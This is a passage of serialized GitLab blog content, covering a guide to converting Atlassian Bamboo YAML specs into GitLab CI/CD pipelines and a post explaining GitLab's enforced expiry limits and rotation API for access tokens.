previously only available for GitLab SaaS, is now extended to GitLab self-hosted. Enterprises that prefer to self-host or must self-host due to compliance and regulatory restrictions can now take advantage of our AI features, starting with [Code Suggestions](https://about.gitlab.com/blog/self-managed-support-for-code-suggestions/).\n- Organizations looking at using GitLab Packages as their consolidated package registry can now [import packages](https://docs.gitlab.com/ee/user/packages/package_registry/supported_functionality.html#importing-packages-from-other-repositories) from their current package registries like Maven Central or Artifactory. GitLab [supports importing](https://docs.gitlab.com/ee/user/packages/package_registry/supported_functionality.html#importing-packages-from-other-repositories) Maven, npm, NuGet, and PyPI package types into GitLab, with many more package formats to follow. \n\n## A customizable solution that fits the way you work\nAs companies grow, there is an increasing need to personalize development and deployment settings and provide distinct visibility into the DevSecOps lifecycle to users beyond the immediate DevSecOps teams. GitLab is designed to function effectively with minimal adjustments, yet it offers the flexibility to be tailored to the requirements of expanding organizations. \n\nOur recent developments, including [changes to product navigation](https://about.gitlab.com/blog/navigation-research-blog-post/), are driven by comprehensive user research. We recognize that each organization and its individual users have unique, preferred workflows. Our updated navigation features, such as pinning frequently accessed items, visualizing work, and simplifying navigation through fewer top-level items, empower DevSecOps teams to align the platform with their optimal environment and workflow.\n\nWatch the new and simplified navigation in action.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/rGTl9_HIpbY\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\nHere are some other highlights:\n- In addition to overhauling the navigation, we [introduced the rich text editor](https://about.gitlab.com/releases/2023/07/22/gitlab-16-2-released/#all-new-rich-text-editor-experience) by providing a “what you see is what you get” editing experience. The rich text editor is now available in all issues, epics, and merge requests.\n- GitLab offers [six out-of-the-box roles](https://docs.gitlab.com/ee/user/permissions.html#roles), but for many enterprises this was not enough. Some roles gave too much permission, while others didn’t grant enough permissions to complete a task. Enterprises needed a way to define their own roles – leading to [customizable roles](https://docs.gitlab.com/ee/user/custom_roles.html), which gives GitLab administrators the ability to define roles with granular permissions suited for their needs.\n- GitLab Value Streams Dashboard ensures that all stakeholders have visibility into the progress and value delivery metrics associated with software development and delivery. To align with customers’ needs to customize the data viewed and the appearance, we introduced [new velocity metrics](https://about.gitlab.com/releases/2023/08/22/gitlab-16-3-released/#new-velocity-metrics-in-the-value-streams-dashboard) and the ability to [customize the appearance and data](https://about.gitlab.com/releases/2023/07/22/gitlab-16-2-released/#new-customization-layer-for-the-value-streams-dashboard) to adjust metrics based on their areas of interest, filter out irrelevant information, and focus on the data that is most relevant to their analysis or decision-making process.\n\n![New velocity metrics in the Value Streams Dashboard](https://about.gitlab.com/images/16_3/16.3_vsd.mr_iss.png)\n\n\n## The enterprise awaits — get growing today\t\nOrganizations on a growth trajectory need a way to sustain that growth. They'll need to leverage the capabilities of AI to generate code faster — but they can't sacrifice quality or security. Organizations will also need to set standards for development and deployment that extend across the enterprise, and every user will need a clear and customizable view of the DevSecOps lifecycle. As we bring new capabilities into the GitLab DevSecOps Platform, we will continue to support these enterprise-class needs.\n\n> Bring the best practices of industry leaders to your team. Join GitLab and Nasdaq for an exciting discussion about AI, DevSecOps, and developer productivity. [Register for this webinar today!](https://page.gitlab.com/webcast-fy24q3-devsecops-ai-developer-productivity.html)\n\n\n**Disclaimer:** This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab.\n",[695,110,790,754],{"slug":7995,"featured":6,"template":678},"gitlab-ai-cicd-customization-toolkit","content:en-us:blog:gitlab-ai-cicd-customization-toolkit.yml","Gitlab Ai Cicd Customization Toolkit","en-us/blog/gitlab-ai-cicd-customization-toolkit.yml","en-us/blog/gitlab-ai-cicd-customization-toolkit",{"_path":8001,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8002,"content":8007,"config":8012,"_id":8014,"_type":16,"title":8015,"_source":17,"_file":8016,"_stem":8017,"_extension":20},"/en-us/blog/migrating-from-bamboo-to-gitlab-cicd",{"title":8003,"description":8004,"ogTitle":8003,"ogDescription":8004,"noIndex":6,"ogImage":7651,"ogUrl":8005,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8005,"schema":8006},"How to migrate from Bamboo to GitLab CI/CD","With the fast approaching EOL of Atlassian Server products, including Bamboo, this blog post explains how users of Bamboo can migrate to GitLab CI/CD.","https://about.gitlab.com/blog/migrating-from-bamboo-to-gitlab-cicd","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to migrate from Bamboo to GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2023-10-26\",\n      }",{"title":8003,"description":8004,"authors":8008,"heroImage":7651,"date":8009,"body":8010,"category":962,"tags":8011},[2816],"2023-10-26","\n_Atlassian is ending support for all Server products in February 2024. [Learn more about the benefits of migrating from Atlassian to GitLab here](https://about.gitlab.com/move-to-gitlab-from-atlassian/)._\n\nThe clock is ticking towards the February 15, 2024, [end-of-life date Atlassian has set for their Server products](https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/). Users whose workflows rely on on-premises deployments of Atlassian Server products are faced with the choice of upgrading to Atlassian’s Data Center or Cloud products or finding alternatives. \n\nOne of the Atlassian products that is impacted is Bamboo, a CI/CD solution. Whether you're simply looking for a new CI/CD tool or you're looking to consolidate your entire toolchain, the Atlassian Server end of life is a great opportunity to make the move to GitLab to take advantage of the automation, scalability, and security of an end-to-end DevSecOps platform.\n\nIn this blog post, we'll cover the steps you can take to migrate your Bamboo CI/CD setup to GitLab CI/CD.\n\n## How is GitLab CI/CD different from Bamboo?\n\n### Organization\n\nBamboo is structured around Projects and Plans. CI/CD jobs are grouped into stages, which are defined in a Bamboo plan along with other configurations that determine how jobs run. Bamboo projects are used to organize plans, which are classified into Build and Deployment plans. \n\nAs the name implies, Build plans can be configured to pull code from configured repositories and generate artifacts. These artifacts are picked by jobs defined in Deployment plans and are deployed to environments configured in Bamboo. Bamboo jobs are also composed of tasks, which can be a script, a task to pull code from a repository, or a task specific to a technology.\n\nYou also need to add code repositories to a Bamboo plan or a project, making it available to all plans under it, and set triggers for how Bamboo detects changes and runs builds.\n\nGitLab is organized differently. Everything is in a single platform, with your CI/CD configuration provided as part of your code in a `.gitlab-ci.yml` file, from a group’s compliance pipeline configuration, or Auto DevOps when enabled and the `.gitlab-ci.yml` file is not found in a project.\n\nGitlab CI/CD configurations are composed of jobs, grouped into stages. How the jobs are triggered can be controlled by CI/CD `rules` and there is no separate configuration for deployments. Deployment jobs can be defined in the same CI/CD script in a `deploy` stage, with the [deployment environment](https://docs.gitlab.com/ee/ci/environments/) set.\n\n### Agents vs Runners\n\nBamboo uses [Agents](https://confluence.atlassian.com/confeval/development-tools-evaluator-resources/bamboo/bamboo-remote-agents-and-local-agents)\nto run builds and deployments. These can be local agents running on the Bamboo server or\nremote agents running external to the server. GitLab uses a similar concept to agents,\ncalled [GitLab Runner](https://docs.gitlab.com/runner/), which uses [executors](https://docs.gitlab.com/runner/executors/)\nto run builds. Examples of executors include SSH, Docker, and Kubernetes. You can choose to\nuse GitLab [SaaS runners](https://docs.gitlab.com/ee/ci/runners/) or deploy your own [self-managed runners](https://docs.gitlab.com/runner/install/index.html).\n\n### Bamboo Specs vs .gitlab-ci.yml file\n\nBamboo is largely configured via the Bamboo UI but can also be configured as code using Bamboo Specs. Bamboo Specs can be defined using Java and other JVM languages or using YAML, with Java having more complete feature coverage than YAML. Bamboo Specs can be defined and stored in spec repositories, then linked to Bamboo projects.\n\nThe `.gitlab-ci.yml` file is central to the CI/CD workflow in GitLab. When included in a project, the defined configurations are executed against the project; otherwise, [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/) automatically builds and deploys your application, when enabled. Templates and CI/CD components can also be added to `.gitlab-ci.yml` for complex use cases.\n\n## How GitLab steps up your workflow\n\nIn addition to building and deploying your application, GitLab provides a suite of features that allows for building secure applications fast and efficiently. These include:\n\n- [Application security](https://docs.gitlab.com/ee/user/application_security/): GitLab analyzes your application across the stages of the software development lifecycle with security scans such as Static Application Security Testing (SAST), Secret Detection, Infrastructure as Code (IaC) Scanning, Dependency Scanning, License Scanning, Coverage-guided Fuzz Testing, Container Scanning, API Security, Dynamic Application Security Testing (DAST), and Operational Security Scanning.\n- Compliance and security policies: Understanding the results of security scans and putting policies in place is crucial to ensuring secure applications. You can set up Scan Execution or Result policies to ensure additional scans or approval requirements are added to comply with regulatory or self-imposed requirements.\n- [CI/CD catalog](https://docs.gitlab.com/ee/ci/components/catalog.html): Parts of CI/CD configurations that are used across multiple projects can be turned into [components](https://docs.gitlab.com/ee/ci/components/index.html#components-repository) stored in component repositories that are discoverable in the CI/CD catalog.\n- Packages and registries: Custom or local replicas of popular packages can be hosted with the [GitLab Package Registry](https://docs.gitlab.com/ee/user/packages/package_registry/index.html). You can also host container images with the [GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/index.html) and Terraform modules with the [GitLab Terraform Module Registry](https://docs.gitlab.com/ee/user/packages/terraform_module_registry/index.html). If you frequently use public images or packages, you can use the [Dependency Proxy](https://docs.gitlab.com/ee/user/packages/dependency_proxy/index.html) to maintain a local cache.\n\n[Learn more about other ways to automate your entire workflow with GitLab CI/CD](https://about.gitlab.com/solutions/continuous-integration/).\n\n## Convert Bamboo Specs to .gitlab-ci.yml script\n\nFor the purpose of this blog post, we will focus on [Bamboo YAML Specs](https://docs.atlassian.com/bamboo-specs-docs/9.3.0/specs.html?yaml). You can export your Bamboo Plans as YAML Spec — [learn more here](https://confluence.atlassian.com/bamboo/exporting-existing-plan-configuration-to-bamboo-yaml-specs-1018270696.html). Now, lets walk through converting your Bamboo YAML Specs into GitLab CI/CD configuration.\n\n### Container image\n\nFirst is defining the container image of the container your jobs will run in. By default, Bamboo uses Agents, which depend on how the host machines are configured. You can replicate the Agent’s environment into a container image hosted in the [GitLab Container Registry](https://docs.gitlab.com/ee/user/packages/container_registry/).  \n\nIf you already run Bamboo jobs in a container image, it will look like this in your spec:\n\n```yaml\n---\nversion: 2\n# ...\ndocker: ubuntu\n```\n\nThis might be defined at the plan or job level. You can define it in GitLab as follows:\n\n```yaml\nimage: ubuntu\n```\n\n[Learn more about running CI/CD jobs in containers here](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html). If your use case does not include containers, you can explore [other executors](https://docs.gitlab.com/runner/executors/).\n\n### Stages\n\nIn Bamboo, stages and their list of jobs are defined first, before the job definitions:\n\n```yaml\nversion: 2\nstages:\n  - First Stage:\n      jobs:\n        - Job 1A \n        - Job 1B\n  - Second Stage:\n      jobs:\n        - Job 2A \n        - Job 2B\n\nJob 1A:\n  tasks:\n    - clean\n    - script\n        - touch file1A.txt\n\nJob 1B:\n  tasks:\n    - clean\n    - script\n        - touch file1B.txt\n\nJob 2A:\n  tasks:\n    - clean\n    - script\n        - touch file2A.txt\n\nJob 2B:\n  tasks:\n    - clean\n    - script\n        - touch file2B.txt\n```\n\nIn GitLab, you list your stages in the order in which you want their jobs to run:\n\n```yaml\nstages:\n  - build\n  - test\n  - deploy\n\njob1:\n  stage: build\n  script:\n    - echo \"This job compiles code.\"\n\njob2:\n  stage: test\n  script:\n    - echo \"This job tests the compiled code. It runs when the build stage completes.\"\n\njob3:\n  script:\n    - echo \"This job also runs in the test stage\".\n\njob4:\n  stage: deploy\n  script:\n    - echo \"This job deploys the code. It runs when the test stage completes.\"\n  environment: production\n```\n\nAll the jobs in a stage run in parallel and when they succeed, execution proceeds to the next stage. This only changes in complex pipelines where a job depends on another using [`needs`](https://docs.gitlab.com/ee/ci/yaml/index.html#needs).\n\n### Variables\n\nBamboo has System, Global, Project, Plan, and Build-specific variables, which can be accessed using the format `${system.variableName}` for system variables and `${bamboo.variableName}` for others. Periods (.) are replaced by underscores (_) when variables are accessed in scripts.\n\n```yaml\nversion: 2\n# ...\nvariables:\n  username: admin\n  releaseType: milestone\n\nDefault job:\n  tasks:\n    - script: echo 'Release Type is $bamboo_releaseType'\n```\n\nIn GitLab, variables can be defined at group, project, CI Script, and job levels. In GitLab self-managed and GitLab Dedicated, administrators can define variables at the instance level. GitLab allows protecting, masking, and expanding variables. Protected variables are only accessible for pipelines running against the default or protected branches. [Learn more about CI/CD variables](https://docs.gitlab.com/ee/ci/variables/index.html) and [where you can use them](https://docs.gitlab.com/ee/ci/variables/where_variables_can_be_used.html).\n\nHere is an example:\n\n```yaml\nvariables:\n  GLOBAL_VAR: \"A global variable\"\n\njob1:\n  variables:\n    JOB_VAR: \"A job variable\"\n  script:\n    - echo \"Variables are '$GLOBAL_VAR' and '$JOB_VAR'\"\n\njob2:\n  script:\n    - echo \"Variables are '$GLOBAL_VAR' and '$JOB_VAR'\"\n```\n\n### Build Jobs\n\nBamboo Build Jobs are composed of tasks, each of which is a small unit of work that can be anything from checking out source code to injecting variables or running a script.\n\n```yaml\nversion: 2\nstages:\n  - Run Tests:\n      jobs:\n        - Test Ruby \n\nTest Ruby :\n  key: TEST\n  tasks:\n  - checkout:\n      force-clean-build: false\n      description: Checkout Default Repository\n  - script:\n      interpreter: SHELL\n      scripts:\n      - |-\n        ruby -v  # Print out ruby version for debugging\n        bundle config set --local deployment true  \n        bundle install -j $(nproc)\n        rubocop\n        rspec spec\n      description: run bundler & rspec\n\n```\n\nIn this example, the plan has two tasks, checkout and script. The checkout tasks pull an updated version of the code repository, which is made available for the script task to execute its commands against. \n\n[Jobs in GitLab](https://docs.gitlab.com/ee/ci/jobs/) are composed of script commands:\n\n```\nimage: ruby:latest\n\nstages:\n  - test\n\nrspec:\n  stage: test\n  script:\n    - ruby -v\n    - bundle config set --local deployment true \n    - bundle install -j $(nproc)\n    - rubocop\n    - rspec spec\n```\n\nIn the example above, the stage the job belongs to is specified with the `stage` keyword and the commands to be executed by the GitLab runner for the job are listed under `script`.\n\nIn Bamboo, you can use [executables](https://confluence.atlassian.com/bamboo/defining-a-new-executable-capability-289277164.html), such as Ant, Maven, or PHPUnit, in a task to build your application. In GitLab, you can package the binaries you need in a custom container image and use it as your CI/CD image.\n\n### Deployment jobs\n\nIn Bamboo, Deployment projects organize software releases or environments applications are deployed to. A deployment plan can have a release definition:\n\n```yaml\n---\nversion: 2\n\ndeployment:\n  name: Release Software\n  source-plan: BUILD-APP\n\nrelease-naming: release-1.1\n```\n\nFor releases, you specify the plan it should get the generated artifacts from. And for deployment for environments:\n\n```yaml\n---\nversion: 2\n# ...\nenvironments:\n  - Test\n  - QA\n  - Prod\n\nTest:\n  tasks:\n    - clean\n    - artifact-download:\n        destination: /workdir\n```\n\nIn GitLab CI/CD, you can create a [deployment job](https://docs.gitlab.com/ee/ci/jobs/#deployment-jobs)\nthat deploys to an [environment](https://docs.gitlab.com/ee/ci/environments/index.html) or create a [release](https://docs.gitlab.com/ee/user/project/releases/).\nFor deploying to an environment, you use the [`environment`](https://docs.gitlab.com/ee/ci/yaml/#environment) keyword:\n\n```yaml\ndeploy-to-production:\n  stage: deploy\n  script:\n    - # Run Deployment script\n    - ./.ci/deploy_prod.sh\n  environment:\n    name: production\n```\n\nIf you are creating a release instead, you use the [`release`](https://docs.gitlab.com/ee/ci/yaml/#release)\nkeyword along with the [release-cli](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs)\ntool to create releases for [Git tags](https://docs.gitlab.com/ee/user/project/repository/tags/).\nThe `release` section is executed after the `script` section, which must exist.\nIf you don’t have any script commands to run, you can put a placeholder command;\nfor example, `echo` a message.\n\n```yaml\nrelease_job:\n  stage: release\n  image: registry.gitlab.com/gitlab-org/release-cli:latest\n  rules:\n    - if: $CI_COMMIT_TAG                  # Run this job when a tag is created manually\n  script:\n    - echo \"Building release version\"\n  release:\n    tag_name: $CI_COMMIT_TAG\n    name: 'Release $CI_COMMIT_TAG'\n    description: 'Release created using the release-cli.'\n```\n\n### Rules and workflows\n\nIn Bamboo, triggers can be used to control how Jobs are executed. Triggers can be a periodic poll of the repository for changes or a webhook that notifies Bamboo of changes to the repository. Trigger conditions can be enabled in the Bamboo web UI to make sure the build only runs if other plans are passing.\n\nExample of a trigger:\n\n```yaml\n---\nversion: 2\ntriggers:\n  - polling: 130\n  - cron: 0 * * * ? *\n```\n\nIn GitLab, [CI/CD pipelines](https://docs.gitlab.com/ee/ci/pipelines/) can be triggered by a commit/push, a merge, manually, on schedule, or with [pipeline subscriptions](https://docs.gitlab.com/ee/ci/pipelines/#trigger-a-pipeline-when-an-upstream-project-is-rebuilt). Jobs in a pipeline can further be controlled using `rules` or `workflow`. Learn more about [Job Control](https://docs.gitlab.com/ee/ci/jobs/job_control.html) and [pipeline workflows](https://docs.gitlab.com/ee/ci/yaml/workflow.html#) in GitLab CI/CD. \n\nHere's an example using `rules` in GitLab CI/CD:\n\n```yaml\nworkflow:\n  rules:\n    - changes:\n      - .gitlab/**/**.md\n      when: never\n```\n In this example, pipelines are never executed when `.md` files changed in the `.gitlab` folder.\n\n#### Artifacts\n\nYou can define Job artifacts using the `artifacts` keyword in both GitLab and Bamboo.\n\nIn Bamboo, artifacts can be defined as follows:\n\n```yaml\n---\nversion: 2\n# ...\n  artifacts:\n    -\n      name: Test Reports\n      location: target/reports\n      pattern: '*.xml'\n      required: false\n      shared: false\n    -\n      name: Special Reports\n      location: target/reports\n      pattern: 'special/*.xml'\n      shared: true\n```\n\nIn the Bamboo Spec above, artifacts are defined with a name, location, pattern, and optionally\nthe ability to share the artifacts with other jobs or plans. You can go further to define jobs that\ncan subscribe to the artifact.\n\n`artifact-subscriptions` is used to access artifacts from another job in the same plan:\n\n```yaml\nTest app:\n  artifact-subscriptions:\n    -\n      artifact: Test Reports\n      destination: deploy\n```\n\n`artifact-download` is used to access artifacts from jobs in a different plan.\n\n```yaml\n---\nversion: 2\n# ...\n  tasks:\n    - artifact-download: \n        source-plan: PROJECTKEY-PLANKEY\n```\n\nYou need to provide the key of the plan you are downloading artifacts from in the `source-plan` keyword.\n\nIn GitLab, all artifacts from completed jobs in the previous stages are downloaded by default.\nHere is an example of an artifact definition in GitLab:\n\n```yaml\npdf:\n  script: xelatex mycv.tex\n  artifacts:\n    name: \"pdf-files\"\n    public: false\n    untracked: true\n    paths:\n      - pdfs/\n    exclude:\n      - pdfs/*.tex\n```\n\nIn the CI/CD script above:\n\n- The name of the artifact is specified laterally. You can choose to make it dynamic by using a CI/CD variable.\n- The `public` keyword is used to set whether the artifact should be publicly available. This is not enabled by default\n  on self-managed GitLab instances. An administrator can enable it with the [feature flag](https://docs.gitlab.com/ee/administration/feature_flags/)\n  named `non_public_artifacts`.\n- You can set the `untracked` to include or exclude Git untracked files along with those specified using `paths`.\n\nRead more about GitLab CI/CD [job artifacts](https://docs.gitlab.com/ee/ci/jobs/job_artifacts.html).\n\n## How to plan your migration\n\nPlanning a migration to Gitlab CI/CD from Bamboo doesn't start with converting your Bamboo plan to GitLab CI/CD scripts. It starts with aligning with your leadership and stakeholders and clearly communicating the vision of the migration. [Check out our documentation to learn more about managing organizational changes](https://docs.gitlab.com/ee/ci/migration/plan_a_migration.html). Once you have the necessary buy-in, you can proceed with the following steps:\n\n- [Import your projects](https://docs.gitlab.com/ee/user/project/import/) to GitLab.\n- Identify the necessary binaries and build tools needed to build your application, along with their dependencies.\n- Define the flow of your pipeline, which jobs depend on each other, and the necessary triggers.\n- Learn more about [key GitLab CI/CD features](https://docs.gitlab.com/ee/ci/index.html).\n- Identify the credentials and variables needed in your pipeline and define them in the variable section of your project's CI/CD settings or using a secret manager.\n- Follow [this tutorial](https://docs.gitlab.com/ee/ci/quick_start/index.html) to create your first GitLab pipeline; you can also explore more [complex pipelines](https://docs.gitlab.com/ee/ci/quick_start/tutorial.html).\n- Iterate and test your GitLab CI/CD pipelines and review [.gitlab-ci.yml keyword reference](https://docs.gitlab.com/ee/ci/yaml/index.html).\n\nReady to make the move? [We’re here to help](https://about.gitlab.com/sales/).\n",[943,479],{"slug":8013,"featured":6,"template":678},"migrating-from-bamboo-to-gitlab-cicd","content:en-us:blog:migrating-from-bamboo-to-gitlab-cicd.yml","Migrating From Bamboo To Gitlab Cicd","en-us/blog/migrating-from-bamboo-to-gitlab-cicd.yml","en-us/blog/migrating-from-bamboo-to-gitlab-cicd",{"_path":8019,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8020,"content":8025,"config":8030,"_id":8032,"_type":16,"title":8033,"_source":17,"_file":8034,"_stem":8035,"_extension":20},"/en-us/blog/access-token-lifetime-limits",{"title":8021,"description":8022,"ogTitle":8021,"ogDescription":8022,"noIndex":6,"ogImage":3431,"ogUrl":8023,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8023,"schema":8024},"Why GitLab access tokens now have lifetime limits","Pre-existing and new personal, group, or project access tokens now have enforced lifetime limits. Find out why and learn how to minimize disruption.","https://about.gitlab.com/blog/access-token-lifetime-limits","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why GitLab access tokens now have lifetime limits\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hannah Sutor\"}],\n        \"datePublished\": \"2023-10-25\",\n      }",{"title":8021,"description":8022,"authors":8026,"heroImage":3431,"date":8027,"body":8028,"category":734,"tags":8029},[6939],"2023-10-25","***Update July 2024 - For self-managed customers only: There have been modifications to the upgrade path since this blog post was originally published. Users upgrading after July 24, 2024, from a pre-16.0 version of GitLab to the latest patch release of Version 16.0 or later will not have an expiration date set for tokens that didn't have one previously.***\n\n***Update May 2024 - The removal of support for non-expiring access tokens was first announced in [September 2022](https://docs.gitlab.com/ee/update/deprecations.html#non-expiring-access-tokens), enacted in GitLab 16.0 (May 2023), as noted in this article, and went into effect for GitLab.com customers on May 14, 2024. If you recently started seeing a large number of 401s or authentication issues on your API calls, this may be due to expired access tokens. For GitLab self-managed customers, tokens without an expiration date will be set to expire one year from the date of upgrading your instance to GitLab 16.0. If you encounter this situation, please see the guidance in our documentation on [how to identify and extend affected tokens](https://docs.gitlab.com/ee/security/token_overview.html#troubleshooting).***\n\nBalance security and ease of use. It sounds so simple, right? Anyone who has ever implemented security controls knows that this balance is a delicate one, and one that may never be fully achieved, since people may have different tolerance levels.\n\nAt GitLab, we are no exception. In the [Authentication group](https://about.gitlab.com/direction/govern/authentication/), we try to provide a toolbox of access and security controls that GitLab administrators can implement to their liking, recognizing that everyone sits at a different place on the security vs. accessibility spectrum. There are times, however, where we have to make decisions about what access mechanisms we offer to our customers, including those related to powerful, long-lived credentials and their lifecycles. These credentials can often be created and left unchanged for years, with potential exposure in logs, configurations, and to people working on those tools. If leaked, they can cause irreparable harm to an organization's security posture.\n\n## Our decision to remove support for non-expiring access tokens\n\nIn GitLab 16.0, we made the decision to remove support for non-expiring access tokens. This was first announced in 15.4 — you can read the [removal announcement here](https://docs.gitlab.com/ee/update/deprecations.html#non-expiring-access-tokens). As of the 16.0 milestone (May 2023), we applied an expiration date of May 14, 2024, to any personal, group, or project access token that previously didn't have one. Any access token that _already had_ an expiration, even if it was outside of the 365-day limit, was left untouched.\n\n**Starting on May 15, 2023, any new access token created must have an expiration within 365 days of creation.**\n\nIn GitLab Ultimate, administrators have the [ability to set a custom allowable limit](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#when-personal-access-tokens-expire) for token expiration. This policy allows administrators to set a lifetime less than 365 days for compliance purposes. In Premium and Free tiers, tokens must be set to expire within 365 days.\n\n## What is the impact?\nIf you have automation that relies on a personal, group, or project access token, and you don't modify its expiration date, it will stop working whenever it hits the expiration date. If you previously did not set an expiration date for your tokens, they are now set for no earlier than May 14, 2024. Unless you extend the token lifetime and/or rotate the token, your automation will stop working on that day.\n\nWe recognize that this may be a disruptive change. This article is meant to raise awareness for our customers in advance of May 14, 2024. \n\n## Why are we making this change?\nIt all started with an [issue](https://gitlab.com/gitlab-org/gitlab/-/issues/348660) suggested by our internal application security team, which led us to populate some security-conscious defaults for access tokens: the least amount of privilege by default and a 30-day expiry date. Users could always change them if they wanted to.\n\nWe had already [enforced an expiry date for OAuth tokens](https://about.gitlab.com/blog/gitlab-releases-15-breaking-changes/#oauth-tokens-without-an-expiration) in GitLab 15.0. Our application security team recommended that we enforce an expiration date for personal, project, and group access tokens as well. Long-lived, static secrets should have enforced lifetime limits as a best security practice. Hence, the need for putting in place these limits. If a token didn't have an expiration date, we placed a one-year expiration on the token as of our 16.0 release in May 2023. This means that tokens will expire in May 2024 if they are not rotated and/or have a modified expiration date beforehand.\n\n## How to minimize the impact \nYou're reading this blog post now, so hopefully you're ahead of the potential impacts that a change like this can cause. The sections below will detail how you can keep GitLab running smoothly.\n\n### Know what you have\nBe proactive. Start by doing an audit of all of your tokens. If you're an Ultimate customer, you can use the [credentials inventory](https://docs.gitlab.com/ee/administration/credentials_inventory.html) (available in self-managed only) to see all personal, project, and group access tokens in your instance. \n\nIf you don't have access to the credentials inventory, you can:\n- [View the active personal tokens](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#view-the-last-time-a-token-was-used) under **Access tokens** from the left navigation.\n- List [personal](https://docs.gitlab.com/ee/api/personal_access_tokens.html#list-personal-access-tokens), [project](https://docs.gitlab.com/ee/api/project_access_tokens.html#list-project-access-tokens), or [group](https://docs.gitlab.com/ee/api/group_access_tokens.html) access tokens using the API. Administrators can query tokens created by all users while individual users can view only tokens created by themselves. \n\nIf you're a GitLab administrator, communicate with your end users about this change coming to their personal access tokens, and how you would like them to manage expiration in the future. You can link them to this blog post.\n\n### Use the rotation API\nWe released a [token rotation API](https://docs.gitlab.com/ee/api/personal_access_tokens.html#rotate-a-personal-access-token) that revokes the previous token and creates a new token that expires in one week.\n\nWe also implemented [automatic token reuse detection](https://docs.gitlab.com/ee/api/personal_access_tokens.html#automatic-reuse-detection) for increased security. Automatic reuse detection is a defense-in-depth security measure that can help prevent attackers from using leaked access tokens and the token rotation API from maintaining indefinite access to a user's account by rotating expiring leaked tokens to get new tokens, indefinitely. \n\nTo briefly describe how automatic token reuse detection works, let's describe a scenario where a legitimate user has accidentally disclosed their personal access token (AT1) publicly. An attacker stumbles on this leaked access token (AT1), uses AT1 and the token rotation endpoint to get a new access token (AT2) to continue maintaining access to the user's account. The legitimate user, unaware of the AT1 leak or the attacker's access, tries to use AT1 and the token rotation API to get a new access token (AT3, in their mind) for themselves. However, since AT1 is being used on the token rotation endpoint twice, the backend detects this reuse and infers that this reuse could be due to a token leak. Because it has no way of knowing if it is the attacker or the legitimate user that is making the request to the token rotation API, in the interest of securing access to the user's account, the latest active token in the token family, AT2, is revoked, thus preventing attacker's access to the user's account.\n\nAs a consequence of reuse detection, token rotation must be executed with attention to potential concurrency issues. It is recommended not to call the token rotation API multiple times with the same access token. Otherwise, automatic reuse detection may immediately revoke the entire token family, as a security measure, as described above.\n\n### Manually set an expiration date\nYou can use the UI to delete an existing access token and create a new one with a designated expiration date. Make sure you swap the new token in your automation. Expiration dates of existing tokens cannot be modified in the UI, so if you want to set an expiration date that is further out, you'll need to generate a new token.\n\n### Watch your notifications\n\nOur team has implemented email notifications for expiring personal, group, and project access tokens. These notifications are structured as follows:\n\n- You get an email notification when your token expires in 7 days.\n- Another email is sent one day before expiry.\n- Each individual token triggers its own separate email.\n\nGroup owners and project maintainers will receive expiration notifications for group access tokens and project access tokens respectively. For personal access tokens, individual users will get the email.\n\n## Service accounts for automation use cases\nFor automation use cases that currently use group or project access tokens, we suggest that you look into [service accounts](https://docs.gitlab.com/ee/user/profile/service_accounts.html), available on GitLab Premium and Ultimate tiers. These accounts do not use a licensed seat and are not able to access the GitLab UI using the interactive login. They also have a distinct membership type, making them simple to track. Combined with _optional_ token lifetime limits ([coming soon](https://gitlab.com/gitlab-org/gitlab/-/issues/421420)), this means you could set them to never expire (although we encourage you to still be mindful of security best practices).\n\n## What's next\nThe next step is for you to share this information with your teams and determine how this change impacts your own environment. Please follow the links we've provided throughout the blog to make the necessary changes to your project, group, and personal access tokens.\n",[695,674],{"slug":8031,"featured":6,"template":678},"access-token-lifetime-limits","content:en-us:blog:access-token-lifetime-limits.yml","Access Token Lifetime Limits","en-us/blog/access-token-lifetime-limits.yml","en-us/blog/access-token-lifetime-limits",{"_path":8037,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8038,"content":8043,"config":8048,"_id":8050,"_type":16,"title":8051,"_source":17,"_file":8052,"_stem":8053,"_extension":20},"/en-us/blog/tips-for-a-successful-jira-to-gitlab-migration",{"title":8039,"description":8040,"ogTitle":8039,"ogDescription":8040,"noIndex":6,"ogImage":7820,"ogUrl":8041,"ogSiteName":1180,"ogType":1181,"canonicalUrls":8041,"schema":8042},"Tips for a successful Jira to GitLab migration","If you are considering a migration to GitLab for Agile planning, this blog is for you! Learn some tips to help in your transition.","https://about.gitlab.com/blog/tips-for-a-successful-jira-to-gitlab-migration","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Tips for a successful Jira to GitLab migration\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Melissa Ushakov\"}],\n        \"datePublished\": \"2023-10-24\",\n      }",{"title":8039,"description":8040,"authors":8044,"heroImage":7820,"date":8045,"body":8046,"category":1897,"tags":8047},[5555],"2023-10-24","\n_Atlassian is ending support for all Server products in February 2024. [Learn more about the benefits of migrating from Atlassian to GitLab here](https://about.gitlab.com/move-to-gitlab-from-atlassian/)._\n\nWith the [end of life of Jira Server approaching](https://about.gitlab.com/blog/atlassian-server-ending-move-to-a-single-devsecops-platform/), many organizations are considering a migration 